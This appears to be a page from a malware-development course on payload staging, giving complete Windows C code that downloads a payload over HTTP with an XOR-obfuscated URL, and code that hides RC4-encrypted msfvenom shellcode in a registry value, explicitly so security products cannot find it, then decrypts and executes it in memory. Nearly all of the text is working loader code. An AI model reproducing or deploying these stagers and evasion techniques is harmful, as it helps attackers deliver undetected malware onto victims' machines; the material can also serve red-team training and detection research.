Payload Staging
HTTP/S connection
In some cases where payload size constraints exist, saving the payload inside the code is not a feasible approach.
The alternative approach is to host the payload on a web server and fetch it during execution.
- C Payload Triggering
If the payload is not encrypted, packets captured during the transmission may contain identifiable snippets of the payload, so use an encrypted payload and add the corresponding decryption routin in the following code:
#include <Windows.h>
#include <stdio.h>
#include <WinInet.h>
#pragma comment (lib, "Wininet.lib")
// Python -m http.server 8000
// Have calc.bin in the directory
#define PAYLOAD L"http://127.0.0.1:8080/calc.bin"
// Get a file's payload from a url (http or https)
// Return a base address of a heap allocated buffer, thats the payload
// Return the payload's size
BOOL GetPayloadFromUrl(LPCWSTR szUrl, PBYTE* pPayloadBytes, SIZE_T* sPayloadSize) {
BOOL bSTATE = TRUE;
HINTERNET hInternet = NULL,
hInternetFile = NULL;
DWORD dwBytesRead = NULL;
SIZE_T sSize = NULL; // Used as the total payload size
PBYTE pBytes = NULL, // Used as the total payload heap buffer
pTmpBytes = NULL; // Used as the tmp buffer (of size 1024)
// Opening the internet session handle, all arguments are NULL here since no proxy options are required
hInternet = InternetOpenW(L"MalDevAcademy", NULL, NULL, NULL, NULL);
if (hInternet == NULL){
printf("[!] InternetOpenW Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
// Opening the handle to the payload using the payload's URL
hInternetFile = InternetOpenUrlW(hInternet, szUrl, NULL, NULL, INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, NULL);
if (hInternetFile == NULL){
printf("[!] InternetOpenUrlW Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
// Allocating 1024 bytes to the temp buffer
pTmpBytes = (PBYTE)LocalAlloc(LPTR, 1024);
if (pTmpBytes == NULL){
bSTATE = FALSE; goto _EndOfFunction;
}
while (TRUE){
// Reading 1024 bytes to the tmp buffer. The function will read less bytes in case the file is less than 1024 bytes.
if (!InternetReadFile(hInternetFile, pTmpBytes, 1024, &dwBytesRead)) {
printf("[!] InternetReadFile Failed With Error : %d \n", GetLastError());
bSTATE = FALSE; goto _EndOfFunction;
}
// Calculating the total size of the total buffer
sSize += dwBytesRead;
// In case the total buffer is not allocated yet
// then allocate it equal to the size of the bytes read since it may be less than 1024 bytes
if (pBytes == NULL)
pBytes = (PBYTE)LocalAlloc(LPTR, dwBytesRead);
else
// Otherwise, reallocate the pBytes to equal to the total size, sSize.
// This is required in order to fit the whole payload
pBytes = (PBYTE)LocalReAlloc(pBytes, sSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
if (pBytes == NULL) {
bSTATE = FALSE; goto _EndOfFunction;
}
// Append the temp buffer to the end of the total buffer
memcpy((PVOID)(pBytes + (sSize - dwBytesRead)), pTmpBytes, dwBytesRead);
// Clean up the temp buffer
memset(pTmpBytes, '\0', dwBytesRead);
// If less than 1024 bytes were read it means the end of the file was reached
// Therefore exit the loop
if (dwBytesRead < 1024){
break;
}
// Otherwise, read the next 1024 bytes
}
// Saving
*pPayloadBytes = pBytes;
*sPayloadSize = sSize;
_EndOfFunction:
if (hInternet)
InternetCloseHandle(hInternet); // Closing handle
if (hInternetFile)
InternetCloseHandle(hInternetFile); // Closing handle
if (hInternet)
InternetSetOptionW(NULL, INTERNET_OPTION_SETTINGS_CHANGED, NULL, 0); // Closing Wininet connection
if (pTmpBytes)
LocalFree(pTmpBytes); // Freeing the temp buffer
return bSTATE;
}
int main() {
SIZE_T Size = NULL;
PBYTE Bytes = NULL;
// Reading the payload
if (!GetPayloadFromUrl(PAYLOAD, &Bytes, &Size)) {
return -1;
}
printf("[i] Bytes : 0x%p \n", Bytes);
printf("[i] Size : %ld \n", Size);
// Printing it
for (int i = 0; i < Size; i++){
if (i % 16 == 0)
printf("\n\t");
printf("%0.2X ", Bytes[i]);
}
printf("\n\n");
// Freeing
LocalFree(Bytes);
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
If we have encrypted the IP to retrieve the payload, we must then convert the decrypted URL to a wide string (Example with XOR):
unsigned char CalcPathXored[] = {
0x21, 0x3F, 0x40, 0x3B, 0x09, 0x5D, 0x62, 0x73, 0x49, 0x61, 0x0B, 0x6B, 0x15, 0x4B, 0x66, 0x65,
0x51, 0x07, 0x2E, 0x78, 0x78, 0x03, 0x64, 0x50, 0x13, 0x21, 0x21, 0x5E, 0x31, 0x4C, 0x34, 0x23 };
XorByInputKey(CalcPathXored, sizeof(CalcPathXored), key, sizeof(key));
printf("[#] Press <Enter> To Decrypt calc.bin download path ... ");
getchar();
okay("calc.bin path decrypted : \"%s\" \n", (char*)CalcPathXored);
// Convert the decrypted URL to a wide string
info("Converting decrypted URL to wide string");
int wideStrLen = MultiByteToWideChar(CP_UTF8, 0, (LPCCH)CalcPathXored, -1, NULL, 0);
wchar_t* CalcPathwideUri = (wchar_t*)malloc(wideStrLen * sizeof(wchar_t));
if (CalcPathwideUri == NULL) return -1; // Check for malloc failure
MultiByteToWideChar(CP_UTF8, 0, (LPCCH)CalcPathXored, -1, CalcPathwideUri, wideStrLen);
// Use Web Stager func to retrieve calc.bin
info("Retrieving calc.bin from web server ...");
if (!WebStager(CalcPathwideUri, &Bytes, &Size)) {
free(CalcPathwideUri); // Free the allocated wide string
return -1;
}
Windows Registry
In this technique, the payload will be written as a registry key value and then fetched from the Registry when required. Since the payload will be stored in the Registry, if security solutions scan the malware they will be unable to detect or find any payload within.
First we must write the payload to registry, then, read it and execute the shellcode.
The following code can be used for both steps, uncommenting the desired define statement and commenting the opposite:
#include <Windows.h>
#include <stdio.h>
#pragma comment (lib, "Advapi32.lib") // Used to compile RegGetValueA
// Uncomment one of the following to enable the read/write mode
/*
#define WRITEMODE
*/
#define READMODE
// I/O registry key to read/write
#define REGISTRY "Control Panel"
#define REGSTRING "MalDevAcademy"
#ifdef READMODE
// Output from HellShell: `HellShell.exe calc.bin rc4`
typedef struct
{
DWORD Length;
DWORD MaximumLength;
PVOID Buffer;
} USTRING;
typedef NTSTATUS(NTAPI* fnSystemFunction032)(
struct USTRING* Img,
struct USTRING* Key
);
BOOL Rc4EncryptionViSystemFunc032(IN PBYTE pRc4Key, IN PBYTE pPayloadData, IN DWORD dwRc4KeySize, IN DWORD sPayloadSize) {
NTSTATUS STATUS = NULL;
USTRING Key = { .Buffer = pRc4Key, .Length = dwRc4KeySize, .MaximumLength = dwRc4KeySize },
Img = { .Buffer = pPayloadData, .Length = sPayloadSize, .MaximumLength = sPayloadSize };
fnSystemFunction032 SystemFunction032 = (fnSystemFunction032)GetProcAddress(LoadLibraryA("Advapi32"), "SystemFunction032");
if ((STATUS = SystemFunction032(&Img, &Key)) != 0x0) {
printf("[!] SystemFunction032 FAILED With Error : 0x%0.8X\n", STATUS);
return FALSE;
}
return TRUE;
}
unsigned char Rc4Key[] = {
0x8B, 0x9E, 0x3F, 0xC0, 0x3E, 0x31, 0xBF, 0xCF, 0xA5, 0x83, 0x7C, 0xC8, 0x6A, 0x61, 0x96, 0x9A };
// Function that reads the payload from the registry key
BOOL ReadShellcodeFromRegistry(IN DWORD sPayloadSize, OUT PBYTE* ppPayload) {
LSTATUS STATUS = NULL;
DWORD dwBytesRead = sPayloadSize;
PVOID pBytes = NULL;
// Allocating heap that will store the payload that will be read
pBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sPayloadSize);
if (pBytes == NULL){
printf("[!] HeapAlloc Failed With Error : %d\n", GetLastError());
return FALSE;
}
// Reading the payload from "REGISTRY" key, from value "REGSTRING"
STATUS = RegGetValueA(HKEY_CURRENT_USER, REGISTRY, REGSTRING, RRF_RT_ANY, NULL, pBytes, &dwBytesRead);
if (ERROR_SUCCESS != STATUS) {
printf("[!] RegGetValueA Failed With Error : %d\n", STATUS);
return FALSE;
}
// Checking if all bytes of the payload were successfully read
if (sPayloadSize != dwBytesRead) {
printf("[!] Total Bytes Read : %d ; Instead Of Reading : %d\n", dwBytesRead, sPayloadSize);
return FALSE;
}
// Saving
*ppPayload = pBytes;
return TRUE;
}
// Local shellcode execution - Review "Shellcode Local Injection" section
BOOL RunShellcode(IN PVOID pDecryptedShellcode, IN SIZE_T sDecryptedShellcodeSize) {
PVOID pShellcodeAddress = NULL;
DWORD dwOldProtection = NULL;
pShellcodeAddress = VirtualAlloc(NULL, sDecryptedShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pShellcodeAddress == NULL) {
printf("[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[i] Allocated Memory At : 0x%p \n", pShellcodeAddress);
memcpy(pShellcodeAddress, pDecryptedShellcode, sDecryptedShellcodeSize);
memset(pDecryptedShellcode, '\0', sDecryptedShellcodeSize);
if (!VirtualProtect(pShellcodeAddress, sDecryptedShellcodeSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtect Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[#] Press <Enter> To Run ... ");
getchar();
if (CreateThread(NULL, NULL, pShellcodeAddress, NULL, NULL, NULL) == NULL) {
printf("[!] CreateThread Failed With Error : %d \n", GetLastError());
return FALSE;
}
return TRUE;
}
#endif // READMODE
#ifdef WRITEMODE
// Msfvenom x64 calc shellcode encrypted by HellShell [RC4]
unsigned char Rc4CipherText[] = {
0x3F, 0x8C, 0x01, 0xCA, 0x70, 0x80, 0x3F, 0x6B, 0xE3, 0x7B, 0x77, 0xF2, 0x05, 0x77, 0x0E, 0x97,
// ..........
0x0B, 0x0F, 0xF5, 0xB9, 0x41, 0xD4, 0x4C, 0x8B, 0x63, 0xAF, 0xEE, 0xC8, 0xAF, 0x7C, 0xC9, 0xBE };
// Function that writes the payload pShellcode to the registry key
BOOL WriteShellcodeToRegistry(IN PBYTE pShellcode, IN DWORD dwShellcodeSize) {
BOOL bSTATE = TRUE;
LSTATUS STATUS = NULL;
HKEY hKey = NULL;
printf("[i] Writing 0x%p [ Size: %ld ] to \"%s\\%s\" ... ", pShellcode, dwShellcodeSize, REGISTRY, REGSTRING);
// Opening handle to "REGISTRY" registry key
STATUS = RegOpenKeyExA(HKEY_CURRENT_USER, REGISTRY, 0, KEY_SET_VALUE, &hKey);
if (ERROR_SUCCESS != STATUS) {
printf("[!] RegOpenKeyExA Failed With Error : %d\n", STATUS);
bSTATE = FALSE; goto _EndOfFunction;
}
// Creating string value "REGSTRING" and writing the payload to it as a binary value
STATUS = RegSetValueExA(hKey, REGSTRING, 0, REG_BINARY, pShellcode, dwShellcodeSize);
if (ERROR_SUCCESS != STATUS){
printf("[!] RegSetValueExA Failed With Error : %d\n", STATUS);
bSTATE = FALSE; goto _EndOfFunction;
}
printf("[+] DONE ! \n");
_EndOfFunction:
if (hKey)
RegCloseKey(hKey);
return bSTATE;
}
#endif // WRITEMODE
int main() {
#ifdef WRITEMODE
// Write the shellcode to the registry
printf("[#] Press <Enter> To Write The Shellcode To The Registry...");
getchar();
if (!WriteShellcodeToRegistry(Rc4CipherText, sizeof(Rc4CipherText))) {
return -1;
}
// goto _EndOfFunction;
#endif // WRITEMODE
#ifdef READMODE
PVOID pBytes = NULL;
DWORD sSize = 272;
printf("[#] Press <Enter> To Read The Shellcode From The Registry...");
getchar();
// Read the shellcode
printf("[i] Reading Shellcode ... ");
if (!ReadShellcodeFromRegistry(sSize, &pBytes)) {
return -1;
}
printf("[+] DONE \n");
printf("[+] Payload Read At : 0x%p \n", pBytes);
// Decrypting the shellcode
printf("[#] Press <Enter> To Decrypt The Shellcode ...");
getchar();
printf("[i] Decrypting Shellcode ... ");
if (!Rc4EncryptionViSystemFunc032(Rc4Key, pBytes, sizeof(Rc4Key), sSize)){
return -1;
}
printf("[+] DONE \n");
// Running the shellcode
if (!RunShellcode(pBytes, sSize)) {
return -1;
}
HeapFree(GetProcessHeap(), 0, pBytes);
#endif // READMODE
_EndOfFunction:
printf("[#] Press <Enter> To Quit ...");
getchar();
return 0;
}
Last updated